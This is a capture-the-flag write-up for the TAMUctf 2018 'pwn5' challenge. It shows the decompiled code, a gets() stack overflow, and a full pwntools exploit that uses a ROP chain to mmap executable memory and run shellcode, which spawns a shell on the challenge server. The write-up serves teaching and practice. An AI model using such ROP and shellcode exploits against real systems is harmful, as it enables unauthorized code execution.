Rating:

```
nc pwn.ctf.tamu.edu 4325

Note: The output is not buffered properly but exploits should still work
```

*For the ending Python code used to solve this challenge, click [here](#solution).*

## Discovery
This challenge provides us the binary [pwn5](pwn5).

When running the binary, we can see it is an interactive program that prompts some user input.

```console
$ ./pwn5
Welcome to the TAMU Text Adventure!
You are about to begin your journey at Texas A&M as a student
But first tell me a little bit about yourself
What is your first name?: John
What is your last name?: Doe
What is your major?: F#
Are you joining the Corps of Cadets?(y/n): n

Welcome, John Doe, to Texas A&M!
You wake up as your alarm clock goes off feeling well rested and ready for the day
You decdide to get breakfast at Sbisa and enjoy some nice eggs and potatos
You finish up your mediocre breakfast and head on out
Finally your first day of class begins at Texas A&M. What do you decide to do next?(Input option number)
1. Go to class.
2. Change your major.
3. Skip class and sleep
4. Study
$
```

The program gets closed before I could enter a choice for what to do next which means that the newline from my 'joining the Corps' is probably getting consumed for an answer. Since the program is displaying back data with my first and last name, there's a chance for print format string exploitation, but, running again shows that it is not the case:

```console
$ echo -en "%X\n%X\n%X\nn\n" | ./pwn5
[cut]
Welcome, %X %X, to Texas A&M!
[cut]
```

That ruled out, let's check to see what each of the four options shows us:

```console
$ for i in {1..4}; do echo -n "${i}: "; echo -en "John\nDoe\nF#\nn${i}" | ./pwn5 | tail -n 2; done
1: As the lecturer drones on about a topic that you don't quite understand in the field of F# you notice the cadet sitting up front nodding off

2: You decide that you are already tired of studying F# and go to the advisors office to change your major
What do you change your major to?: You changed your major to: F#
3: 4. Study
You decide that you are better at learning stuff on your own and will use the time gained not going to class to take a nap
4: You decide to get ahead in your classes and go to the library to study.
You get a cup of coffee and settle in to study. After a while some of the material in F# starts making sense to you
```

Option 2 for changing the major looks like it's going to take some input, so a potentially valid path for exploitation. We still have not yet checked to see if any of the initial input fields can be overflowed.

```console
$ python -c "print(('A'*1000 + '\n') * 3 + 'n\n')" | ./pwn5
[cut]
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, to Texas A&M!
[cut]
```

Looks like they are length-restricted. At this point, taking a look at the binary itself would be the most useful.

## Dissection

Starting off with `main`, we can see that it immediately calls the function `print_beginning` without anything of importance being done before or after.

```c
// C code generated by Hex-Rays decompiler.
int __cdecl main(int argc, const char **argv, const char **envp)
{
print_beginning();
return 0;
}
```

`print_beginning` contains significantly more useful information.

```c
// C code generated by Hex-Rays decompiler.
int print_beginning()
{
int result; // eax@6
char v1; // [esp+Fh] [ebp-9h]@1

puts("Welcome to the TAMU Text Adventure!");
puts("You are about to begin your journey at Texas A&M as a student");
puts("But first tell me a little bit about yourself");
printf("What is your first name?: ");
fgets((int)&first_name, 100, (int *)stdin);
strtok(&first_name, "\n");
printf("What is your last name?: ");
fgets((int)&last_name, 100, (int *)stdin);
strtok(&last_name, "\n");
printf("What is your major?: ");
fgets((int)major, 20, (int *)stdin);
strtok(major, "\n");
printf("Are you joining the Corps of Cadets?(y/n): ");
v1 = getchar();
corps = v1 == 121 || v1 == 89;
printf("\nWelcome, %s %s, to Texas A&M!\n");
if ( corps )
result = first_day_corps();
else
result = first_day_normal();
return result;
}
```

Here we can see that the use of `fgets` with an explicit size is what defeats our attempts at overflowing during the startup of the program. Since we chose to avoid the corps, we jump into `first_day_normal`.

```c
// C code generated by Hex-Rays decompiler.
int first_day_normal()
{
int result; // eax@1

puts("You wake up as your alarm clock goes off feeling well rested and ready for the day");
puts("You decdide to get breakfast at Sbisa and enjoy some nice eggs and potatos");
puts("You finish up your mediocre breakfast and head on out");
puts("Finally your first day of class begins at Texas A&M. What do you decide to do next?(Input option number)");
puts("1. Go to class.\n2. Change your major.\n3. Skip class and sleep\n4. Study");
result = (char)getchar();
if ( result == 50 )
{
printf("You decide that you are already tired of studying %s and go to the advisors office to change your major\n");
printf("What do you change your major to?: ");
result = change_major();
}
else if ( result > 50 )
{
if ( result == 51 )
{
result = puts(
"You decide that you are better at learning stuff on your own and will use the time gained not going to "
"class to take a nap");
}
else if ( result == 52 )
{
puts("You decide to get ahead in your classes and go to the library to study.");
result = printf(
"You get a cup of coffee and settle in to study. After a while some of the material in %s starts making sense to you\n");
}
}
else if ( result == 49 )
{
puts("You go to class and decide to sit somewhere in the middle row");
printf(
"As the lecturer drones on about a topic that you don't quite understand in the field of %s you notice the cadet si"
"tting up front nodding off\n");
result = putchar(10);
}
return result;
}
```

So it looks like `change_major` is the only function of interest that can be called from `first_day_normal`.

```c
// C code generated by Hex-Rays decompiler.
int change_major()
{
char dest; // [esp+Ch] [ebp-1Ch]@1

getchar();
gets(&dest);
strncpy(&dest, major, 0x14u);
return printf("You changed your major to: %s\n");
}
```

Perfect, here we see that we are provided a call to `gets` with the stack-based buffer `dest`. Assuming there are no stack canaries, this should be a relatively simple buffer overflow to land.

```Python
In [1]: from pwn import *

In [2]: elf = ELF('./pwn5')
[*] '/home/user/ctf/2018/tamuctf/pwn/pwn5/pwn5'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
```

No stack canaries and even better, no PIE, so we can base any ROP gadgets out of the binary itself without the need to leak any addresses. From the point of entering the `change_major` function, it consumes a character using `getchar` prior to calling `gets`. `dest` is located at 0x1c below the old stack pointer. To reach the old ebp will only take 0x1c (28) bytes. 4 additional bytes, now up to 0x20 (32), to overwrite the old ebp and reach the stored eip. So with 0x20 bytes of filler, the next 4 bytes should give us control of execution.

```console
$ python -c 'print("John\nDoe\nF#\nn2\n" + "A"*0x20 + "\xff"*4)' | strace -ifv -e trace=signal ./pwn5 > /dev/null
strace: [ Process PID=21135 runs in 32 bit mode. ]
[ffffffff] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xffffffff} ---
[????????] +++ killed by SIGSEGV (core dumped) +++
Segmentation fault (core dumped)
```

As we expected, we got a SIGSEGV with the program trying to execute at address `0xffffffff` which are the 4 bytes we placed where we assumed eip was stored on the stack. From here, we can now begin developing our exploit.

NOTE: A good thing to take note of is the method of which we are obtaining our overflow, `gets`. `gets` will, according to the man page, read
> a line from stdin into the buffer pointed to...until either a terminating newline or EOF, which it replaces with a null byte ('\0').

Here we establish our character restriction as no newlines, 0x0a bytes, can be used prematurely or it will end our overflow and be replaced with a NUL byte. The upside is that with `gets`, we are not restricted from using a NUL byte ourselves.

## Exploit

Starting off with a typical pwntools exploit template.

```python
from pwn import *
import first_day_corps

BINARY = './pwn5'
elf = ELF(BINARY)
context.binary = binary

if args['REMOTE']:
p = remote('pwn.ctf.tamu.edu', 4325)
else:
p = process(BINARY)
```

This template sets up the ELF binary for reference as well as either start a local process to test against or attempt to throw it remotely given the right arguments.

First, we'll set up our string to get us all the way up to the overflow.

```python
to_eip = ''
to_eip += 'John\n' # First Name
to_eip += 'Doe\n' # Last Name
to_eip += 'F#\n' # Major (chord)
to_eip += 'n' # Join corps (y/n)
to_eip += '2\n' # Change Major
to_eip += 'A'*0x20 # Padding to reach eip using gets (080488AE / change_major+12)
```

The next 4 bytes will be where we redirect control flow to, so we should use some ROP to get us anywhere important.

```python
rop = ROP(elf, badchars='\x0a')
rop.mmap(0xBAD0F000, 0x1000, \
constants.PROT_READ | constants.PROT_WRITE | constants.PROT_EXEC, \
constants.MAP_PRIVATE | constants.MAP_ANON, -1, 0)
rop.gets(0xBAD0F000)
rop.call(0xBAD0F000)
```

First we define a pwnlib `pwn.rop.rop.ROP` class using the elf we already established and pass the optional `badchars` argument to let the object know to avoid any ROP that contains newlines. We then continue to set up our ROP using the conventional `mmap(rand_addr) -> read(rand_addr) -> jmp rand_addr`. An important thing to note however is that the use of `fgets`, `getchar`, and `gets` uses buffered I/O, meaning that some of our input may be sitting in an input buffer. Initial attempts used padding to meet the file buffer size worked locally, but had issues remotely. Rather than try and mess with buffer sizes, the easier solution was to continue using buffered I/O and thus the use of `gets` over `read` or any other function.

Now that our ROP is ready to go, we need to setup our shellcode that we are going to put in our mmaped address space.

```python
sh_payload = asm(shellcraft.i386.sh())
```

And done.

Now to put it all together.

```python
sploit = to_eip + rop.chain() + '\n' + asm(shellcraft.i386.sh()) + '\n'

p.send(sploit)
p.interactive()
```

Note the insertion of a newline between the ROP and shellcode so as to have the next `gets` read the entirety of shellcode (buffered or not) into our mmap. Also, we just so happened to be lucky enough that our shellcode did not contain any 0x0a bytes, so no encoder is necessary.

Testing it locally.

```console
$ python solution.py
[*] '/home/user/ctf/2018/tamuctf/pwn/pwn5/pwn5'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process './pwn5': pid 22543
[*] Loaded cached gadgets for './pwn5'
[*] Switching to interactive mode
Welcome to the TAMU Text Adventure!
You are about to begin your journey at Texas A&M as a student
But first tell me a little bit about yourself
What is your first name?: What is your last name?: What is your major?: Are you joining the Corps of Cadets?(y/n):
Welcome, John Doe, to Texas A&M!
You wake up as your alarm clock goes off feeling well rested and ready for the day
You decdide to get breakfast at Sbisa and enjoy some nice eggs and potatos
You finish up your mediocre breakfast and head on out
Finally your first day of class begins at Texas A&M. What do you decide to do next?(Input option number)
1. Go to class.
2. Change your major.
3. Skip class and sleep
4. Study
You decide that you are already tired of studying F# and go to the advisors office to change your major
What do you change your major to?: You changed your major to: F#
$ ls
desc pwn5 pwn5.id1 pwn5.idb pwn5.til
flag pwn5.id0 pwn5.id2 pwn5.nam solution.py
$ cat flag
lol
$
[*] Stopped process './pwn5' (pid 22543)
```

Looks like it works. Now for the real deal, testing it remotely.

```console
$ python solution.py REMOTE
[*] '/home/user/ctf/2018/tamuctf/pwn/pwn5/pwn5'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Opening connection to pwn.ctf.tamu.edu on port 4325: Done
[*] Loaded cached gadgets for './pwn5'
[*] Switching to interactive mode
$ ls
flag.txt
pwn5
sh
$ cat flag.txt
gigem{r37urn_0f_7h3_pwn}
$
[*] Closed connection to pwn.ctf.tamu.edu port 4325
```

With that, we have landed our exploit and gottten the flag, `gigem{r37urn_0f_7h3_pwn}`.

## Solution

```python
#!/usr/bin/python

from pwn import *
import sys

BINARY = './pwn5'

elf = ELF(BINARY)
context.binary = BINARY

if args['REMOTE']:
p = remote('pwn.ctf.tamu.edu', 4325)
else:
p = process(BINARY)

to_eip = ''
to_eip += 'John\n' # First Name
to_eip += 'Doe\n' # Last Name
to_eip += 'F#\n' # Major (chord)
to_eip += 'n' # Join corps (y/n)
to_eip += '2\n' # Change Major
to_eip += 'A'*0x20 # Padding to reach eip using gets (080488AE / change_major+12)

rop = ROP(elf, badchars='\x0a')
rop.mmap(0xBAD0F000, 0x1000, \
constants.PROT_READ | constants.PROT_WRITE | constants.PROT_EXEC, \
constants.MAP_PRIVATE | constants.MAP_ANON, -1, 0)
rop.gets(0xBAD0F000)
rop.call(0xBAD0F000)
sh_payload = asm(shellcraft.i386.sh())

sploit = to_eip + rop.chain() + '\n' + asm(shellcraft.i386.sh()) + '\n'

p.send(sploit)
p.interactive()
```

Original writeup (https://github.com/Joseph-C-Cavazos/ctf-writeups/tree/master/2018/tamuctf/pwn/pwn5).